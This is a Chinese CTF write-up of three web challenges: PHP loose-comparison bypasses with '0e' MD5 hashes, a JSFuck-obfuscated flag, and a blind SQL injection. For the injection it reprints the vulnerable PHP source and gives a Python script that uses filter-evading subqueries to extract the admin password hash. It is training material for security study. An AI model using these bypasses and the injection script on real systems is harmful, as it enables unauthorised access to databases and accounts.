CSTC-Web-writeup

0x01  前言

这一次的比赛web题只做出来3个,也是菜的抠脚。。

0x02 web-签到题   php弱类型

查看源码,发现是代码审计,要求用户名必须为字母,密码必须为数字,登陆页面可以用开头为0e的md5值绕过,下面列出一串0e开头的md5值

1 <?php
2 var_dump(md5(‘240610708‘) == md5(‘QNKCDZO‘)); //bool(true)
3 var_dump(md5(‘aabg7XSs‘) == md5(‘aabC9RqS‘)); //bool(true)
4 var_dump(sha1(‘aaroZmOk‘) == sha1(‘aaK1STfY‘)); //bool(true)
5 var_dump(sha1(‘aaO8zKZF‘) == sha1(‘aa3OFF9m‘)); //bool(true)
6 var_dump(‘0010e2‘ == ‘1e3‘); //bool(true)
7 var_dump(‘0x1234Ab‘ == ‘1193131‘); //bool(true)
8 var_dump(‘0xABCdef‘ == ‘     0xABCdef‘); //bool(true)
9 ?>

这里是利用了php弱类型的漏洞,0e开头的md5值在进行比较的时候,会将0e识别为科学计数法,先做字符串到数字类型的转换,0的很多次方还是0所以相等,绕过

第二部分是代码审计,同样是利用php弱类型 把json_decode中的内容解码之后,将里面的key键所对应的值与$key进行比较,如果正确则返回flag

php在进行数字与字符串比较的时候,会将字符串先转化成数字类型,然后再进行比较

<?php
var_dump("admin"==0); //bool(true)
var_dump("0e123"==0); //bool(true)
var_dump("4test"==4); //bool(true)
?>

所以我们的poc是  message={"key":0}即可拿到flag

0x03 web 抽抽奖

在 http://117.34.111.15/js/jQuery.js 中找到了一串jsfuck加密,解密即可拿到flag 推荐两个解jsfuck的网站

www.jsfuck.com

https://enkhee-osiris.github.io/Decoder-JSFuck

0x04 web soeasy

 1  <?php
 2
 3 include("config.php");
 4
 5 $conn ->query("set names utf8");
 6
 7 function randStr($lenth=32){
 8     $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
 9     $str = "";
10     while($lenth>0){
11       $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
12       $lenth --;
13     }
14    return $str;
15 }
16
17 if($install){
18     $sql = "create table `user` (
19          `id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,
20          `username` varchar(30) NOT NULL,
21          `passwd` varchar(32) NOT NULL,
22          `role` varchar(30) NOT NULL
23        )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
24     if($conn->query($sql)){
25        $sql  = "insert into `user`(`username`,`passwd`,`role`) values (‘admin‘,‘".md5(randStr())."‘,‘admin‘)";
26        $conn -> query($sql);
27     }
28 }
29
30 function filter($str){
31      $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode(‘%09‘)."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode(‘%0c‘)."|".urldecode(‘%0d‘)."|".urldecode(‘%a0‘)."/i";
32      if(preg_match($filter,$str)){
33          die("you can‘t input this illegal char!");
34      }
35      return $str;
36
37 }
38
39
40 function show($username){
41   global $conn;
42   $sql = "select role from `user` where username =‘".$username."‘";
43   $res = $conn ->query($sql);
44   if($res->num_rows>0){
45
46       echo "$username is ".$res->fetch_assoc()[‘role‘];
47   }else{
48       die("Don‘t have this user!");
49   }
50 }
51
52 function login($username,$passwd){
53     global $conn;
54     global $flag;
55
56     $username = trim(strtolower($username));
57     $passwd = trim(strtolower($passwd));
58     if($username == ‘admin‘){
59         die("you can‘t login this as admin!");
60     }
61
62     $sql = "select * from `user` where username=‘".$conn->escape_string($username)."‘ and passwd=‘".$conn->escape_string($passwd)."‘";
63     $res = $conn ->query($sql);
64     if($res->num_rows>0){
65         if($res->fetch_assoc()[‘role‘] === ‘admin‘) exit($flag);
66     }else{
67        echo "sorry,username or passwd error!";
68     }
69
70 }
71
72 function source(){
73
74     highlight_file(__FILE__);
75 }
76
77 $username = isset($_POST[‘username‘])?filter($_POST[‘username‘]):"";
78 $passwd = isset($_POST[‘passwd‘])?filter($_POST[‘passwd‘]):"";
79
80 $action = isset($_GET[‘action‘])?filter($_GET[‘action‘]):"source";
81
82 switch($action){
83    case "source": source(); break ;
84    case "login" : login($username,$passwd);break;
85    case "show" : show($username);break;
86 }

action 有三种模式 source login show ,source是使代码高亮,login 是需要登陆 ,show 是查找username是否存在

查看源码得知username为admin password为一串随机生成的32字符串的md5值 显然通过login 这里爆破密码是不可取的,并且login要绕过admin,这里参考了p牛的文章,用%c2可以绕过

回归正题这里在login字段有一个$sql语句可以注入,属于盲注,下面这些字段被过滤了

 1 <?php
 2 *
 3 ;
 4 ,
 5 is
 6 union
 7 like
 8 regexp
 9 for
10 and
11 or
12 file
13 --
14 |
15 `
16 &
17 空格
18 ?>

这道题和swup-CTF的题有点类似

()可以绕过空格,运用select*from xx where xx=‘0‘=‘1‘=‘0‘ 然后在1中放入我们的代码就好了

直接放poc

 1 #coding=utf-8
 2 import requests
 3 url=‘http://117.34.111.15:89/index.php?action=show‘
 4 string=‘abcdef0123456789‘
 5 flag=""
 6 for length in range(1,33):
 7     for x in string:
 8         s=requests.session()
 9         payload={"username":"username‘=(select(1)from(user)where(mid((passwd)from(%d))=‘%s%s‘))=‘"%(33-length,x,flag)}
10         if ‘admin‘ in s.post(url,data=payload).content:
11             flag=x+flag
12             print 33-length,flag

最终将密码的md5值跑出来

login处%c2绕过原理具体请看p牛文章 Mysql字符编码利用技巧

最终getflag

时间: 2024-08-24 07:48:49

CSTC-Web-writeup的相关文章

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

ISCC 2017 Web writeup

ISCC 2017 Web writeupWeb签到题WelcomeToMySQL自相矛盾我们一起来日站I have a jpg,i upload a txt.where is your flagSimple sqli ISCC 2017 Web writeup Web签到题 这种签到题不能往难了想,首先理所当然的这样传参 hiddenflag=f1ag&flag=f1ag 这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑... WelcomeToM

ISG 2018 Web Writeup

文章目录 又一次感觉到了,作为一个CTFer,要想在比赛中有高的输出,只做Web是不够的 calc 首先看到题目后,在输入框中测试了一下,发现可以被执行 首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录 1 python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60 发现存在git源码泄露 直接上gi

[WUST-CTF]Web WriteUp

周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者昵称,在题面里可以看到是52HeRtz,但是发现题目输入框只能输入3个字符,并且按钮是灰色的 直接F12审查元素去掉maxlength以及disable两个属性,输入作者昵称即可 弹出作者的博客地址,跟进去 在作者博客首页可以看到一部分Flag: 根据提示“远古的博客”,找到一篇1970年的文章,文

NJCTF2017 Web Writeup

一个登陆和注册的功能,开始以为是注入,发现并不行.后来尝试了下弱口令 1 2 username:admin password:admin123 结果登录成功了..其实正解是注册时注册用户为admin后跟很多很多空格之后加个a就是注册时拼接到数据库时有长度限制一开始测试不成功是因为空格太少了,尴尬 Get Flag 看起来是一个搜索图片的框输入1.jpg后在返回页面查看源码,发现被base64加密过那么我直接读../../../../../../etc/passwd试试解base64发现确实可以读

MOCTF web writeup

前几天发现一个不错的平台MOCTF但一直没时间刷.这几天陆续更新web题的wp web1:一道水题 进去一堆青蛙 查看源代码,看到flag web2:还是水题 发现密码框输入不了,遂F12审查元素,删除disable属性,以及将长度改为5,输入moctf.得到flag web3:访问限制 题目提示用NAIVE浏览器,于是想到burp改user-agent:NAIVE run得到flag web4:机器蛇 这道题....我...一进去玩了半天的贪吃蛇.... 后来随手审查了元素,发现robots.

1008.CTF 题目之 WEB Writeup 通关大全 – 2

Web题目系列2 登陆一下好吗?? 题目链接 http://shiyanbar.com/ctf/1942 题目描述 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈! flag格式:ctf{xxxx} 解题思路 一个万能密码问题,多试试就可以了. username: ''=' password: ''=' who are you? 题目链接 http://shiyanbar.com/ctf/1941 题目描述 我要把攻击我的人都记录db中去! 解题思路 看到题目就想到修改x-forwarde

1009.CTF 题目之 WEB Writeup 通关大全 – 3

Web题目系列3 让我进去 题目链接 http://shiyanbar.com/ctf/1848 题目描述 相信你一定能拿到想要的 Hint:你可能希望知道服务器端发生了什么.. 格式:CTF{} 解题思路 用burpsuite抓包后,发现cookie里有一个字段source=0,修改为1后获取源码. 源码内容 <html> <body> <pre> $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "

1010.CTF 题目之 WEB Writeup 通关大全 – 4

Web题目系列4 上传绕过 题目链接 http://shiyanbar.com/ctf/1781 题目描述 bypass the upload 格式:flag{} 解题思路 随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为 推测最后保存文件的名称为dir + filename,所以使用00截断来构造绕过php不能上传的问题. flag{SimCTF_huachuan} NSCTF web200 题目链接 http://shiyanbar.com/ctf/1760 题目描述

[MRCTF]Web WriteUp

和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 Ez_bypass 进入题目得到源码: <?php include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET